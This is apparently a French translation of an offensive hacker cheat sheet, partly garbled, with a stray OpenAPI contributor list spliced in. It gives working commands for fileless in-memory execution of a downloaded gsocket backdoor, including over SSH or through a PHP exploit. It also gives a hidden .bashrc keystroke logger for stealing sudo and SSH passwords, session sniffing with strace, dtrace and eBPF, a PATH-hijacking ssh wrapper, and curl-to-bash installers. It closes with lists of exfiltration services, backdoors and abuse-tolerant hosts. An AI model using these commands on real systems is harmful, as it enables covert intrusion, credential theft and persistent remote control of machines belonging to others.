Un one-liner Perl pour charger un binaire en mémoire et l'exécuter (sans toucher au disque ni à /dev/shm ni à /tmp). Voir Hackshell pour plus d'informations.```sh memexec() { local stropen strread local strargv0='"foo", ' [ -t 0 ] && { stropen="open($i, '<', '$1') or die 'open: $!';" strread='$i' unset strargv0 } # Check Syscall-NR: perl -e 'require "sys/syscall.ph"; printf &SYS_memfd_create;' perl -e '$f=syscall(319, $n="", 1); if(-1==$f){ $f=syscall(279, $n="", 1); if(-1==$f){ die "memfd_create: $!";}} '"${stropen}"' open($o, ">&=".$f) or die "open: $!"; while(<'"${strread:-STDIN}"'>){print $o $_;} exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" }

Example usage:

memexec /usr/bin/id -u

cat /usr/bin/id | memexec -u

curl -SsfL https://thc.org/my-backdoor-binary | memexec

root@kitploit:~
La variante la plus courte possible est (exemple):```shell
memexec(){ perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- "$@";}
# Example: cat /usr/bin/id | memexec -u

(Merci à tmp.Out pour quelques discussions éclairées et travaux antérieurs d'autres auteurs)

Déployer gsocket sans écrire sur le système de fichiers (exemple) :```sh GS_ARGS="-ilqD -s SecretChangeMe31337" memexec <(curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m))

root@kitploit:~
La backdoor peut également être envoyée via SSH directement dans la mémoire de la machine distante, puis exécutée :```sh
MX='-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o(<STDIN>);exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255'
curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-x86_64 | ssh root@foobar "exec perl '$MX' -- -ilqD -s SecretChangeMe31337"

Si vous avez une seule chance d'exécuter une commande à distance (comme via un exploit PHP), alors c'est votre ligne :```sh curl -SsfL https://gsocket.io/bin/gs-netcat_mini-linux-$(uname -m)|perl '-e$^F=255;for(319,279,385,4314,4354){($f=syscall$_,$",0)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV;exit 255' -- -ilqD -s SecretChangeMe31337

root@kitploit:~
---
<a id="crypto"></a>
## 9. Crypto
<a id="gen-password"></a>
**9.i. Générer un mot de passe aléatoire rapide**

Idéal pour des mots de passe rapides sans élément humain.```sh
openssl rand -base64 24

Si openssl n'est pas disponible, nous pouvons également utiliser head pour lire depuis /dev/urandom.```sh head -c 32 < /dev/urandom | xxd -p -c 32

root@kitploit:~
ou le rendre alphanumérique```sh
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16

9.ii.a. Systèmes de fichiers chiffrés transportables Linux - cryptsetup

Créez un système de fichiers chiffré de 256 Mo. Vous serez invité à saisir un mot de passe.```sh dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock cryptsetup luksFormat /tmp/crypted cryptsetup open /tmp/crypted sec mkfs -t ext3 /dev/mapper/sec

root@kitploit:~
Montage:```sh
cryptsetup open /tmp/crypted sec
mount -o nofail,noatime /dev/mapper/sec /mnt/sec

Stockez les données dans /mnt/crypted, puis démontez :```sh umount /mnt/sec cryptsetup close sec

root@kitploit:~
<a id="encfs"></a>
**9.ii.b. Systèmes de fichiers chiffrés transportables Linux - EncFS**

Créez ```.sec``` et stockez les données chiffrées dans ```.raw``` :```sh
mkdir .raw .sec
encfs --standard  "${PWD}/.raw" "${PWD}/.sec"

démonter:```sh fusermount -u .sec

root@kitploit:~
<a id="encrypting-file"></a>
**9.iii Chiffrer un fichier**

Chiffrez vos 0-Days et fichiers journaux avant de les transférer - s'il vous plaît. (et choisissez votre propre mot de passe) :```sh
# Encrypt
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc

Please provide the Markdown content to translate.```sh

Decrypt

openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt

root@kitploit:~
---
<a id="sniffing"></a>
## 10. Reniflage et détournement de session
<a id="session-sniffing"></a>
**10.i Renifler la session SHELL d'un utilisateur**

Une commande d'une ligne pour `~/.bashrc` afin de renifler les frappes clavier de l'utilisateur et de les enregistrer dans `~/.config/.pty/.@*`. Utile lorsque l'on n'est pas root et que l'on doit capturer les identifiants sudo/ssh/git de l'utilisateur. 

Déploiement : Copiez-collez ce qui suit sur la cible et suivez les instructions :```sh
# This is a glorified version of:
# [ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { script -V; } &>/dev/null && LC_PTY=1 exec -a "sshd: pts/0" script -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$
command -v bash >/dev/null || { echo "Not found: /bin/bash"; false; } \
&& { mkdir -p ~/.config/.pty 2>/dev/null; :; } \
&& { script -h | grep -qm1 -- -I && cp "$(command -v script)" ~/.config/.pty/pty; :; } \
&& { [ ! -f ~/.config/.pty/pty ] && curl -o ~/.config/.pty/pty -fsSL "https://bin.pkgforge.dev/$(uname -m)/script"; :; } \
&& [ -f ~/.config/.pty/pty ] \
&& curl -o ~/.config/.pty/ini -fsSL "https://github.com/hackerschoice/zapper/releases/download/v1.1/zapper-stealth-linux-$(uname -m)" \
&& chmod 755 ~/.config/.pty/ini ~/.config/.pty/pty \
&& echo -e '----------\n\e[0;32mSUCCESS\e[0m. Add the following line to \e[0;36m~/.bashrc\e[0m:\e[0;35m' \
&& echo -e '[ -z "$LC_PTY" ] && [ -t 0 ] && [[ "$HISTFILE" != *null* ]] && [ -d ~/.config/.pty ] && { ~/.config/.pty/ini -h && ~/.config/.pty/pty -V; } &>/dev/null && LC_PTY=1 exec ~/.config/.pty/ini -a "sshd: pts/0" ~/.config/.pty/pty -fqaec "exec ${BASH_EXECUTION_STRING:--a -bash '"$(command -v bash)"'}" -I ~/.config/.pty/.@pty-unix.$$\e[0m'
  • Combiné avec zapper pour masquer les options de commande de la liste des processus.
  • Nécessite /usr/bin/script d'util-linux >= 2.37 (option -I). Nous récupérons le binaire statique depuis pkgforge.
  • Envisagez d'utiliser /dev/tcp/3.13.3.7/1524 comme fichier de sortie pour journaliser vers un hôte distant.
  • Connectez-vous avec ssh -o "SetEnv LC_PTY=1" pour désactiver la journalisation.

10.ii Renifler toutes les sessions SHELL avec dtrace - FreeBSD

Particulièrement utile pour Solaris/SunOS et FreeBSD (pfSense). Il utilise des sondes noyau pour tracer tous les processus sshd.

Copiez ce "D Script" sur le système cible dans un fichier nommé d :```c #pragma D option quiet inline string NAME = "sshd"; syscall::write:entry /(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/ { printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }

root@kitploit:~
Démarrez un dtrace et enregistrez dans /tmp/.log :```sh
### Start kernel probe as background process.
(dtrace -sd >/tmp/.log &)

10.iii Sniffer toutes les sessions SHELL avec eBPF - Linux

eBPF nous permet d'intercepter en toute sécurité plus de 120 000 fonctions dans le noyau. C'est comme un meilleur "dtrace" mais pour Linux.```sh curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace chmod 755 bpftrace curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt ./bpftrace -Bnone ptysnoop.bt

root@kitploit:~
Découvrez nos propres [outils eBPF pour renifler les mots de passe sudo/su/ssh](https://github.com/hackerschoice/bpfhacks).

<a id="ssh-sniffing-strace"></a>
**10.iv Renifler la session SSH, bash ou SSHD d'un utilisateur avec strace**```sh
tit() {
	strace -e trace="${1:?}" -p "${2:?}" 2>&1 | gawk 'BEGIN{ORS=""}/\.\.\./ { next }; {$0 = substr($0, index($0, "\"")+1); sub(/"[^"]*$/, "", $0); gsub(/(\\33){1,}\[[0-9;]*[^0-9;]?||\\33O[ABCDR]?/, ""); if ($0=="\\r"){print "\n"}else{print $0; fflush()}}'
	# strace -e trace="${1:?}" -p "${2:?}" 2>&1 | stdbuf -oL grep -vF ...  | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
}
# tit read $(pidof -s ssh)
# tit read $(pidof -s bash)
# tit write $(pgrep -f 'sshd.*pts' | head -n1)

Il est également possible de sniffer le processus SSHD (capture aussi les mots de passe sudo, etc.). Notez que nous traçons l'appel write() à la place (parce que sshd « écrit » les données vers bash) :```sh

Find the sshd PID that spawned the bash:

ps -eF | grep -E '(^UID|sshd.*pts)' | grep -v ' grep' ... UID PID PPID C SZ RSS PSR STIME TTY TIME CMD paralle+ 7770 7764 0 5088 6780 1 Aug28 ? 00:00:05 sshd: parallels@pts/0 paralle+ 9056 9050 0 5088 6652 1 Aug28 ? 00:00:00 sshd: parallels@pts/1 paralle+ 11938 11932 0 5074 6772 1 10:59 ? 00:00:00 sshd: parallels@pts/3 ...

root@kitploit:~
Sniff 7770 (exemple) :```shell
tit write 7770

10.v. Espionner la session SSH sortante d'un utilisateur avec un script wrapper

Méthode encore plus sale au cas où /proc/sys/kernel/yama/ptrace_scope est défini sur 1 (strace échouera sur les sessions SSH déjà en cours)

Créez un script wrapper nommé 'ssh' qui exécute strace + ssh pour journaliser la session :

Afficher le script wrapper - CLIQUEZ ICI```sh # Cut & Paste the following into a bash shell: # Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh: echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile

Create a log directory and our own ssh binary

mkdir -p ~/.local/bin ~/.local/logs

cat <<EOF >~/.local/bin/ssh #! /bin/bash strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@ EOF

cat <<EOF >~/.local/bin/ssh-log #! /bin/bash grep -F 'read(4' | cut -f2 -d\" | while read -r x; do [[ ${#x} -gt 5 ]] && continue [[ ${x} == +(\\n|\\r) ]] && { echo ""; continue; } echo -n "${x}" done >$HOME/.local/logs/ssh-log-"${1}"-`date +%s`.txt EOF

chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log . ~/.profile

echo -e "\033[1;32mSUCCESS. Logfiles stored in ~/.local/.logs/. To uninstall cut & paste this\033[0m:\033[1;36m grep -v 0xFD0E /.profile >/.profile-new && mv ~/.profile-new ~/.profile rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"

root@kitploit:~
(merci à Gerald pour avoir testé cela)
</details>

La session SSH sera sniffée et journalisée dans *~/.ssh/logs/* la prochaine fois que l'utilisateur se connectera à son shell et utilisera SSH.

<a id="ssh-sniffing-sshit"></a>
**10.vi Sniffer la session SSH sortante d'un utilisateur avec SSH-IT**

Le plus simple est d'utiliser [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).```sh
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"

10.vii Détournement / reprise d'une session SSH en cours

Utilisez https://github.com/nelhage/reptyr pour reprendre une session SSH existante :```sh ps ax -o pid,ppid,cmd | grep 'ssh ' ./reptyr -T

or: ./reptyr -T $(pidof -s ssh)

Télécharger l’outil
@julio-cesar-development
  • @JieDing - Correction de x-extend-enum
  • @regevbr - Prise en charge de not
  • @tomkennedy513 - Débordement d'entier corrigé
  • @handrews - Correction du motif regex incohérent pour $ref
  • @gwynjudd - Prise en charge de oasdiff -composed
  • @daveshanley - Prise en charge d'OpenAPI 3.1```shell
  • Must use '-T' or otherwise the original user will see that his SSH process gets suspended.

    root@kitploit:~
    ---
    <a id="vpn-shell"></a>
    ## 11. VPN et Shells
    <a id="shell"></a>
    **11.i. Serveurs root jetables**```console
    $ ssh [email protected] # Use password 'segfault'
    

    https://thc.org/segfault

    11.ii. VPN/VPS/Proxies

    Fournisseurs VPN de confiance

    1. https://www.mullvad.net
    2. https://www.cryptostorm.is
    3. https://ivpn.net
    4. https://proton.me - Offre un VPN GRATUIT
    5. https://vpn.fail - Géré par des bénévoles

    Serveurs privés virtuels. Veuillez consulter offshore.cat.

    1. https://www.hetzner.com - Pas cher
    2. https://hivecloud.pw - Pas de KYC. Infaillible. Accepte les cryptos.
    3. https://dmzhost.co - Ignore la plupart des demandes d'abus
    4. https://alexhost.com - Pas de KYC. Infaillible. Zone sans DMCA.
    5. https://basehost.eu - Ignore les ordonnances judiciaires
    6. https://buyvm.net - Meilleur ami de Warez
    7. https://serverius.net - Utilisé par des gangsters
    8. https://1984.hosting - Confidentialité
    9. https://bithost.io - Revendeur pour DigitalOcean, Linode, Hetzner et Vultr (accepte les cryptos)
    10. https://www.privatelayer.com - Basé en Suisse.

    Voir autres services sans KYC (.onion)

    Proxies (nous n'en utilisons aucun)

    1. V2Ray Proxies
    2. Hola Proxies
    3. Zaeem's Free Proxy List
    4. Proxy Broker 2
    5. proxyscrape.com
    6. my-proxy.com
    7. getfreeproxylists.blogspot.com
    8. proxypedia.org
    9. socks-proxy.net
    10. Segfault : curl -x socks5h://$(PROXY) ipinfo.io - sélectionne un proxy aléatoire pour chaque requête

    Beaucoup d'autres services (gratuits)

    1. https://free-for.dev/

    12. Collecte de renseignements

    DNS inverse à partir de plusieurs bases de données publiques :```sh rdns () { curl -m10 -fsSL "https://ip.thc.org/${1:?}?limit=20&f=${2}" }

    rdns

    root@kitploit:~
    Trouver des sous-domaines depuis la base de données TLS/THC-IP:```sh
    sub() {
        [ $# -ne 1 ] && { echo >&2 "crt <domain-name>"; return 255; }
        curl -fsSL "https://crt.sh/?q=${1:?}&output=json" --compressed | jq -r '.[].common_name,.[].name_value' | anew | sed 's/^\*\.//g' | tr '[:upper:]' '[:lower:]'
        curl -fsSL "https://ip.thc.org/sb/${1:?}"
    }
    # sub <domain>
    
    OSINT Hacker Tools
    https://api.c99.nlGratuit : Subdomain Finder, PAYANT : Phone-Lookup, CF Resolver, WAF Detector, IP2Host, et plus... pour 25 $/an.
    https://osint.shGratuit. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search, et plus
    https://cli.fyiGratuit. Interface curl/json pour de nombreux services. Essayez curl cli.fyi/me ou curl cli.fyi/thc.org.
    https://check-your-website.server-daten.deGratuit. Vérification TLS/DNS/Sécurité d'un domaine.
    https://ipsniper.info/api.htmlrDNS/fDNS et autres outils d'information IP
    https://ip.thc.orgRecherche fDNS/rDNS : curl -fL ip.thc.org/140.82.121.3
    https://hackertarget.com/ip-tools/Service OSINT gratuit (Reverse IP, MTR, scan de ports, scans CMS, scans de vulnérabilités, support API)
    https://account.shodan.io/billing/tourBase de données de ports ouverts et recherche DNS dans le monde entier
    https://dnsdumpster.com/Outil de reconnaissance de domaines
    https://crt.sh/Recherche de certificats TLS
    https://archive.org/web/Vue historique des sites web
    https://www.farsightsecurity.com/solutions/dnsdb/Recherche DNS (payant)
    https://wigle.net/Mappeur de réseaux sans fil
    https://radiocells.org/
    OSINT for Detectives
    https://start.me/p/rx6Qj8/nixintel-s-osint-resource-listListe de ressources OSINT de Nixintel
    https://github.com/jivoi/awesome-osintListe Awesome OSINT
    https://cipher387.github.io/osint_stuff_tool_collection/Collection d'outils OSINT
    https://osintframework.com/De nombreux outils OSINT
    OSINT Databases
    https://data.ddosecrets.com/Dumps de bases de données

    13. Divers

    13.i. Outils du métier

    Communications

    1. CryptoStorm Email - E-mails jetables (envoi et réception). (Liste des Disposable-email-services).
    2. Temp-Mail - Service d'e-mail jetable avec une excellente interface Web. Réception uniquement.
    3. tuta.io ou ProtonMail/.onion - E-mail gratuit et privé
    4. Quackr.Io - SMS/messages texte jetables (Liste des Disposable-SMS-services).
    5. SMS-Man - SMS/textes anonymes compatibles avec Signal, WA et bien d'autres
    6. Crypton - Louez une SIM/SMS privé avec crypto (.onion)
    7. Liste des services "No KYC" (.onion)

    OpSec

    1. OpSec for Rebellions - Commencez ici. Les 3 étapes les plus simples.
    2. RiseUp - E-mail, VPN et conseils pour les rébellions (en ligne).
    3. CryptoPad/DisRoot - Infrastructure informatique pour organiser une rébellion.
    4. Neko - Lancez Firefox dans Docker et accédez-y via 127.0.0.1:8080 (WebRTC)
    5. x11Docker - Isolez n'importe quelle application X11 dans un conteneur (Linux et Windows uniquement). (Article)
    6. DangerZone - Rendez les PDF sûrs avant de les ouvrir.
    7. ExifTool - Supprimez les métadonnées des fichiers (exiftool -all= example.pdf example1.jpg ...)
    8. EFF - Des conseils avisés pour les combattants de la liberté.

    Exploits

    1. ttyinject et ptyspy pour LPE.
    2. SploitScan - Recherche de score d'exploit et de PoC (par xaitax)
    3. Traitor - Teste divers exploits/vulnérabilités pour obtenir root (LPE)
    4. PacketStorm - Notre site préféré depuis que nous avons partagé une pizza avec fringe[at]dtmf.org à New York en 2000
    5. ExploitDB - Inclut également la base de données metasploit et la base de données google hacking
    6. Shodan/Exploits - Similaire à exploit-db

    System Information Gathering

    1. curl -fsSL https://thc.org/ws | bash - Affiche tous les domaines hébergés sur un serveur + informations système
    2. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Informations système rapides pour les hackers.
    3. https://github.com/zMarch/Orc - Outil post-exploitation pour trouver une RCE locale (tapez getexploit après l'installation)
    4. https://github.com/The-Z-Labs/linux-exploit-suggester - Suggère des exploits en fonction des versions du système cible
    5. https://github.com/efchatz/pandora - Windows : extraire les mots de passe de divers gestionnaires de mots de passe

    Backdoors

    1. https://www.gsocket.io/deploy - La plus petite porte dérobée du monde
    2. https://github.com/m0nad/Diamorphine - Module noyau Linux pour cacher des processus et des fichiers
    3. https://www.kali.org/tools/weevely - Porte dérobée PHP

    Network Scanners

    1. https://github.com/robertdavidgraham/masscan - Scannez tout Internet
    2. https://github.com/ptrrkssn/pnscan - Scanner réseau rapide
    3. https://zmap.io/ - ZMap & ZGrab

    Scanners de vulnérabilités (attention : ils produisent tous 99 % de faux positifs non exploitables. Ils sont tous nuls.)

    1. Raccoon - Reconnaissance et collecte d'informations
    2. Osmedeus - Collecte de vulnérabilités et d'informations
    3. FullHunt - Scanner log4j et spring4shell

    DDoS

    1. DeepNet - Nous méprisons les DDoS, mais si nous devions, ce serait notre choix.

    Binaires statiques / outils précompilés

    1. https://bin.pkgforge.dev https://pkgs.pkgforge.dev (github, Soar Project)
    2. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
    3. https://lolbas-project.github.io/ (Windows)
    4. https://iq.thc.org/cross-compiling-exploits

    Phishing

    1. https://github.com/htr-tech/zphisher - Nous ne piratons pas comme ça, mais c'est ce que nous utiliserions.
    2. https://da.gd/ - TinyUrl plus petit et permet https://[email protected]/blah

    Tools

    1. https://github.com/hackerschoice/bincrypter - Obfusquez et empaquetez n'importe quel binaire Linux
    2. https://github.com/guitmz/ezuri - Obfusquez des binaires Linux (ELF uniquement)
    3. https://tmate.io/ - Partagez un écran avec d'autres

    Callback / Canary / Commande & Contrôle

    1. https://app.interactsh.com
    2. https://api.telegram.org
    3. https://webhook.site

    Tunneling

    1. Gost
    2. WireTap ou Segfault's WireGuard.
    3. ngrok, cloudflared ou pagekite pour rendre un serveur derrière un NAT accessible depuis Internet public.

    Exfil

    1. Blitz - blitz -l / blitz foo.txt
    2. Segfault.net - tapez exfil
    3. RedDrop - exécutez votre propre serveur d'exfiltration
    4. Mega
    5. oshiAt - également sur TOR. curl -T foo.txt https://oshi.at
    6. 0x0.at - curl -F'[email protected]' https://0x0.st/
    7. Transfer.sh - curl -T foo.txt https://transfer.sh
    8. LitterBox - curl -F reqtype=fileupload -F time=72h -F '[email protected]' https://litterbox.catbox.moe/resources/internals/api.php
    9. Croc - croc send foo.txt / croc anit-price-example
    10. MagicWormhole

    Publishing

    1. seedbox BT/DC/eD2k gratuite
    2. Ou utilisez /onion sur segfault.net ou le bon vieux https avec ngrok
    3. Cloudflare - Le niveau gratuit permet la plupart des choses (dns + domaines + tunnels).
    4. Njal.la - Registraire de domaines axé sur la confidentialité
    5. DuckDNS - Noms de domaine gratuits
    6. AnonDNS - Nom de domaine gratuit (anonyme)
    7. afraid.org - DNS dynamique gratuit pour votre domaine
    8. hostwinds - Payez avec de la crypto
    9. unstoppable domains - Payez avec de la crypto
    10. he.net - Service de serveur de noms gratuit
    11. 0bin / paste.ec - PasteBin chiffré
    12. pad.riseup.net - Créez des documents et partagez-les en toute sécurité

    Forums et Conférences

    1. AlligatorCon - l'original
    2. 0x41con
    3. TumpiCon
    4. 0x00sec

    Telegram Channels

    1. The Hacker's Choice
    2. The Hacker News
    3. CyberSecurity Technologies
    4. Offensive Twitter
    5. Pwn3rzs
    6. VX-Underground
    7. Android Security / Malware
    8. OSINT CyberDetective
    9. BookZillaaa
    10. Rootkit Researchers

    Mindmaps et connaissances

    1. Compass Sec Cheat Sheets
    2. Network Pentesting
    3. Active Directory

    13.ii. Commandes Linux sympas

    1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
    2. https://github.com/ibraheemdev/modern-unix

    13.iii. Aide-mémoire Tmux

    Aide-mémoire Tmux
    Max BufferCtrl-b + : + set-option -g history-limit 65535
    SaveScrollbackCtrl-b + : + capture-pane -S - suivi de Ctrl-b + : + save-buffer filename.txt.
    SpyScrollbacktmux capture-pane -e -pS- -t 6.0 pour capturer le volet 6, fenêtre 0 d'un tmux en cours d'exécution. Supprimez -e pour enregistrer sans couleur.
    Cleartmux send-keys -R C-l \; clear-history -t6.0 pour effacer l'écran et supprimer l'historique de défilement.
    LoggingCtrl-b + : + bind-key P pipe-pane -o "exec cat >>$HOME/'tmux-#W-#S.log'" \; display-message 'Toggling ~/tmux-#W-#S.log'
    Appuyez sur Ctrl-b + Shift + P pour démarrer et arrêter.
    HiddenTmuxcd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache
    Pour vous attacher à votre session, faites
    cd /dev/shm && zapper -fa '/usr/sbin/apache2 -k start' tmux -S .$'\t'cache attach
    AttachDémarrez un nouveau tmux, puis tapez Ctrl-b + s et utilisez LEFT, RIGHT pour prévisualiser et sélectionner n'importe quelle session.
    MenuCtrl-b + >. Utilisez ensuite Ctrl-b + UP, DOWN, LEFT ou RIGHT pour vous déplacer entre les volets.

    13.iv. Commandes utiles

    Utilisez lsof -Pni ou netstat -putan (ou ss -putan) pour lister toutes les connexions Internet (-tu).

    Utilisez ss -lntp pour afficher tous les sockets TCP (-t) en écoute (-l).

    Utilisez netstat -rn ou ip route show pour afficher la route Internet par défaut.

    Utilisez curl cheat.sh/tar pour obtenir l'aide TLDR pour tar. Fonctionne avec n'importe quelle autre commande linux.

    Utilisez curl -fsSL bench.sh | bash pour tester la vitesse d'un serveur.

    Pirater sur des liens à latence élevée ou des liens lents peut être frustrant. Chaque frappe est transmise une par une et toute faute de frappe devient beaucoup plus frustrante et longue à corriger. rlwrap vient à la rescousse. Il met en mémoire tampon toutes les frappes jusqu'à ce que Entrée soit enfoncée, puis transmet toute la ligne d'un coup. Cela rend beaucoup plus facile de taper à grande vitesse, de corriger les fautes de frappe, ...

    Exemple pour l'extrémité réceptrice d'un tunnel inversé :```sh rlwrap --always-readline nc -vnlp 1524

    root@kitploit:~
    Exemple pour *SSH*:```sh
    rlwrap --always-readline ssh user@host
    

    14. Comment devenir un hacker

    Il existe de nombreuses façons, mais en voici une :

    1. Utilisez Linux et devenez compétent avec Bash. Apprenez toutes les commandes Linux.
    2. Apprenez comment fonctionne Internet. Installez et configurez quelques serveurs (via un accès shell).
    3. Comprenez l'architecture système et le fonctionnement d'un système d'exploitation.
    4. Lisez tous les livres. Demandez-vous « pourquoi est-ce fait ainsi et pas autrement ? ».
    5. Lisez les 10 meilleurs articles de Phrack.
    6. Rejoignez un canal de hackers. Inscrivez-vous sur TryHackMe ou HackTheBox.
    7. Soyez joueur.

    15. Autres sites

    1. Phineas Fisher - Sans détour. Direct. Comme on l'aime.
    2. Hacking HackingTeam - a HackBack - Ancien mais un vrai talent à l'œuvre.
    3. Guacamaya Hackback
    4. Vx Underground
    5. HTB absolute - Attaque bien rédigée et bien expliquée.
    6. Conti Leak - Hacking Windows. Pragmatique.
    7. Red Team Notes
    8. InfoSec CheatSheet
    9. HackTricks
    10. Awesome Red Teaming
    11. Hacking Resources
    12. Awesome Hacking
    13. VulHub - Testez vos exploits
    14. Qubes-OS - OS de bureau axé sur la sécurité avec des VM invitées isolées par XEN (jetables) (Fedora, Debian, Whonix prêts à l'emploi)

    Dédicaces : ADM, subz/#9x, DrWho, spoty Rejoignez-nous sur Telegram.

    "Offre-moi un café"

    Informations sur les antennes-relais
    https://www.shodan.io/Moteur de recherche pour trouver des appareils et des bannières (payant)
    https://spur.us/context/meÉvaluation IP https://spur.us/context/<IP>
    http://drs.whoisxmlapi.comRecherche Whois inversée (payant)
    https://www.abuseipdb.comÉvaluation des abus IP